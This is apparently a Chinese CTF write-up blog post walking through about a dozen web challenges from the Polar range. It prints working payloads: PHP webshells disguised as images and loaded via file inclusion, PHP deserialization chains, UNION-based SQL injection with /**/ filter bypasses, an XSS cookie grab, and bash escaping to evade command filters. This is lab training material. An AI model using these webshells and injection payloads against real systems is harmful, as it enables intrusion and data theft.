代码审计1

审计一下触发 preg_match 过滤 的前提下,利用 new $sys($xsx) 这一行 实例化任意类 并 触发其 __toString() 方法,从而 把 flag 打印出来
我们可以使用PHP自带的SplFileObject类,这样就可以实例化SplFileObject类然后在这个类中用$xsx执行读取文件的命令,
pyload=?sys=SplFileObject&xsx=php://filter/read=convert.base64-encode/resource=flag.php

你的马呢?
题目说你的马的暗示跟文件上传有关的

准备一个照片马,后缀改成照片形式的

差点忘了,看看前端有没有什么限制,haozai

进行上传,但好像没成功

但是上传普通照片就成功

怀疑是检查内容
果然换了,应该是检查php头的,换了一个木马就成功
<script language="php">@eval($_REQUEST['as']);</script>
但是死活连不上去就换了一个<?=短标签来绕过
<?=@system($_GET['a']);?>

最后cat读一下,得到flag

ezphp

让我想起了,之前的一道题,扫个目录看看

发现存在file以及uploads文件夹

先访问第一个访问file文件夹,发现file.php存在可利用的文件包含漏洞

访问uploads/upload.php为文件上传

整理一下思路:使用upload.php界面上传一句话木马shell.jpg,用file文件进行包含连接shell

访问/uploads/images/存在图片马,说明上传成功

命令执行成功

命令
?filename=../uploads/images/shell.jpg&cmd=find / -name '*flag*'
pyload:
?filename=/var/www/uploads/images/shell.jpg&cmd=cat /home/webuser/flag 
随机值
打开给了源码

是一个简单的反序列化题,构建链子
<?php
error_reporting(0);
class Index{
private $Polar1=30;
private $Polar2=30;
protected $Night=50;
protected $Light=50;
}
$a=new Index();
echo urlencode(serialize($a));

pyload
?sys=O%3A5%3A%22Index%22%3A4%3A%7Bs%3A13%3A%22%00Index%00Polar1%22%3Bi%3A30%3Bs%3A13%3A%22%00Index%00Polar2%22%3Bi%3A30%3Bs%3A8%3A%22%00%2A%00Night%22%3Bi%3A50%3Bs%3A8%3A%22%00%2A%00Light%22%3Bi%3A50%3B%7D
phpurl
题目是带附件的是,应该是一个提示

解码后得到index.phps,可能是源码

打开环境,问我能找到什么?

直接就添加一下目录,就得到源码了

分析一下
1、首先,检查$_GET['sys']是否严格等于字符串"xxs"。如果是,则输出 “Not a good idea!” 并退出程序。
2、如果不相等,则对$_GET['sys']执行urldecode()二次解码,再将结果与"xxs"做弱比较。如果相等,输出欢迎信息和 flag。
对xss进行二次url编码,获取flag
pyload:?sys=%2578%2578%2573

search
输入了个1,回显,应该是sql注入

判断一下是什么类型的,是字符型sql

测试了一下,发现过滤了空格和一些函数,空格用/**/绕过,函数用大小写绕过
看看返回列
1'/**/order/**/by/**/6#
得到5列
获取一下显示位
1'/**/Union/**/select/**/1,2,3,4,5#
获取数据库名
1'/**/Union/**/select/**/1,database(),3,4,5#
获取表名
1'/**/Union/**/select/**/1,group_concat(Table_Name),3,4,5/**/From/**/Information_Schema.Tables/**/Where/**/Table_Schema='CTF'#
先看flag表中获取列
1'/**/Union/**/select/**/1,group_concat(Column_Name),3,4,5/**/From/**/Information_Schema.Columns/**/Where/**/Table_Name='Flag'#
看看flag列中的字段
1'/**/Union/**/select/**/1,group_concat(Flag),3,4,5/**/From/**/Flag#
file
打开说dirsearch一下有惊喜


访问/upload.php是进行文件上传的地方

访问/uploaded/可能是看上传的东西

按钮也是坏的,看了源代码,按钮也是跳转到/upload.php

看看前端也没有过滤,只有一个只允许上传图片的限制

准备一个照片马进行上传测试
但是上传完了也没有显示我还以为没成功

去/uploaded/目录下看看

改一下包,上传成功

上传成功了说明这题后端没有限制,只有一个前端校验是图片属性

蚁剑连一下

找一下flag

PlayGame
一个反序列化题

构造:
<?php
class PlayGame {
public $user;
public $gameFile = './game';
}
class User {
public $name;
public $age;
public $sex;
}
$a = new PlayGame();
$a->gameFile = '/flag';
$b = new User();
$b->name = $a;
$c = new PlayGame();
$c->user = $b;
echo serialize($c);pyload:
?polar[flag.flag=O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";s:6:"./game";}为什么要换因为,PHP 接收 GET/POST 参数时,.空格[ 都会被替换成下划线_
又因为当参数名出现未闭合的方左括号时会被替换为下划线,并且后面的字符不再做转换

得到flag

csdn
打开是一个空白页面,但是有get传参

查看一下源代码,有提示

结合get传参
用file:///伪协议读取
pyload:?xxs=file:///flag.txt

Dragonad

怀疑是sql注入但毫无效果,又 试了一下xss弹窗,有反应
<script>alert(1)</script>

随便看了看在cokie里发现了flag但这题应该就是,用xss获取cookie

构造xss语句获取cookie
<img src=x onerror='alert(document.cookie)'>得到flag

tnl
打开跟跟上题类似

输入一个1时没有任何回显,紧接着试了其他语句,又试了一下xss都不行,但在输入一时源代码里藏了一句

抓包看一下

发现输入到3时报错sql错误,又试了,其他语句统统都是语法错误,可能源码里加限制,想办法看看源码
尝试使用任意文件读取进行读取文件(发现加后缀无法读取,删除后缀可以正常读取)



源代码
<?php
error_reporting(0);
@$file = $_POST['twothree'];
if(isset($file))
{
if( strpos( $file, "1" ) !== false || strpos( $file, "2" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1";
}
}
?>
原来是自己会加后缀,而且伪造成sql注入
pyload:
php://filter/read=convert.base64-encode/index/resource=flag
解码得到flag

你知道sys还能这样玩吗
打开靶场啥都没有

想着扫个目录的毫无收获

想到题目提示,sys还能这样玩,访问sys.php,就看到源码了

过滤了很多东西但没过滤 \ 可以反斜杠绕过一下

看到flag文件,尝试读取一下,源码中点号被过滤了
进制的点绕过一下,\x2e,\56都可以
pyload:
cmd=c\at /f\lag$'\56'txt
cmd=c\at /f\lag$'\x2e'txt$'xxx'是一种语法告诉 bash:引号里面可以解析十六进制 / 八进制转义,也就是起到了转义的作用,不加就是\56原样输出

palor靶场-中等方向(13-24)
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
赞赏支持
如果觉得文章对你有帮助,可以请作者喝杯奶茶
评论交流
欢迎留下你的想法